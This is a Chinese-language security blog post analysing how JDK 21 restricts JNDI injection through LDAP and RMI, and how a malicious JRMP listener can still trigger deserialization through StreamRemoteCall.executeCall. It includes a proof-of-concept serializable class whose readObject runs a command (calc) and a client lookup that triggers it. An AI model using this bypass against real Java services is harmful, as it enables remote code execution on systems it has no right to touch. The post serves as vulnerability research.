jdk21下的jndi注入

jdk21bypass

限制点

对LDAP限制

我们知道打LDAP反序列化无论是远程类加载,还是直接传入序列化的数据或者是打工厂类都是在我们的decodeObject方法

jdk21

static Object decodeObject(Attributes attrs)
        throws NamingException {

        Attribute attr;

        // Get codebase, which is used in all 3 cases.
        String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
        try {
            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
                if (!VersionHelper.isSerialDataAllowed()) {
                    throw new NamingException("Object deserialization is not allowed");
                }
                ClassLoader cl = helper.getURLClassLoader(codebases);//打远程类的
                return deserializeObject((byte[])attr.get(), cl);
            } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                 // javaRemoteLocation attribute (RMI stub will be created)
                 if (!VersionHelper.isSerialDataAllowed()) {
                     throw new NamingException("Object deserialization is not allowed");
                 }
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
            if (attr != null &&
                (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
                return decodeReference(attrs, codebases);
            }
            return null;
        } catch (IOException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }
    }

jdk8u65

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

可以看到21是多了

VersionHelper.isSerialDataAllowed()
public static boolean isSerialDataAllowed() {
        return trustSerialData;
    }

而trustSerialData默认就是false

所以打ldap反序列化是很难进行的了

对rmi的限制

我们知道高版本打rmi一般都是打的本地工厂类,我们看看21又对这个做了什么限制

打工厂类,我们都是利用

NamingManager.getObjectInstance()

去触发工厂类的getObjectInstance()方法

在我们的21是NamingManagerHelper

我们看到getObjectInstance()方法

看到对比了,我们看一下这个新参数是什么

return NamingManagerHelper.getObjectInstance(obj, name, this,
                    environment, ObjectFactoriesFilter::checkRmiFilter);

我们看到checkRmiFilter

public static boolean checkRmiFilter(Class<?> serialClass) {
        return checkInput(RMI_FILTER, () -> serialClass);
    }

RMI_FILTER

private static final ConfiguredFilter RMI_FILTER =
            initializeFilter(RMI_FACTORIES_FILTER_PROPNAME, DEFAULT_RMI_SP_VALUE);

可以看到是只能是我们这个jdk.naming.rmi/com.sun.jndi.rmi.*;!"包下的

private static final String DEFAULT_RMI_SP_VALUE =
        "jdk.naming.rmi/com.sun.jndi.rmi.**;!*";

突破

既然在我们两个点上给我们限制了,我们只能找其他可以反序列化的地方了

StreamRemoteCall#executeCall()

分析

我们先看到这个方法

public void executeCall() throws Exception {
        byte returnType;

        // read result header
        DGCAckHandler ackHandler = null;
        try {
            if (out != null) {
                ackHandler = out.getDGCAckHandler();
            }
            releaseOutputStream();
            DataInputStream rd = new DataInputStream(conn.getInputStream());
            byte op = rd.readByte();
            if (op != TransportConstants.Return) {
                if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                    Transport.transportLog.log(Log.BRIEF,
                        "transport return code invalid: " + op);
                }
                throw new UnmarshalException("Transport return code invalid");
            }
            getInputStream();
            returnType = in.readByte();
            in.readID();        // id for DGC acknowledgement
        } catch (UnmarshalException e) {
            throw e;
        } catch (IOException e) {
            throw new UnmarshalException("Error unmarshaling return header",
                                         e);
        } finally {
            if (ackHandler != null) {
                ackHandler.release();
            }
        }

        // read return value
        switch (returnType) {
        case TransportConstants.NormalReturn:
            break;

        case TransportConstants.ExceptionalReturn:
            Object ex;
            try {
                ex = in.readObject();
            } catch (Exception e) {
                discardPendingRefs();
                throw new UnmarshalException("Error unmarshaling return", e);
            }

            // An exception should have been received,
            // if so throw it, else flag error
            if (ex instanceof Exception) {
                exceptionReceivedFromServer((Exception) ex);
            } else {
                discardPendingRefs();
                throw new UnmarshalException("Return type not Exception");
            }
            // Exception is thrown before fallthrough can occur
        default:
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF,
                    "return code invalid: " + returnType);
            }
            throw new UnmarshalException("Return code invalid");
        }
    }

可以看到代码逻辑是读取我们的conn的流,然后传给in,然后根据我们的returnType

如果是case TransportConstants.ExceptionalReturn:

那么就反序列化我们的in

ex = in.readObject();

而在我们的RMI的流程里面,就会走到这个方法

executeCall:234, StreamRemoteCall (sun.rmi.transport)
invoke:382, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:137, RegistryContext (com.sun.jndi.rmi.registry)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:409, InitialContext (javax.naming)
main:8, Client

调试分析后其实

如果我们能够控制conn返回的内容,那么就可以在这里实现反序列化

但是需要满足case TransportConstants.ExceptionalReturn:,而我们的jrmp的listner正好返回的就是

复现

我们最后的在一个端口放上我们的恶意代码的就是JRMP了,直接使用yso里面的工具,我这里为了方便,自己假设有一个可以利用的链子

package ysoserial.payloads;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilObject implements Serializable {
    private void readObject(ObjectInputStream s) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然后启用我们的yso的

JRMP listener

然后写一个客户端,去连接我们端口

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1234/any_is_ok";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

运行弹出计算器

参考https://1ue-blog.pages.dev/

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值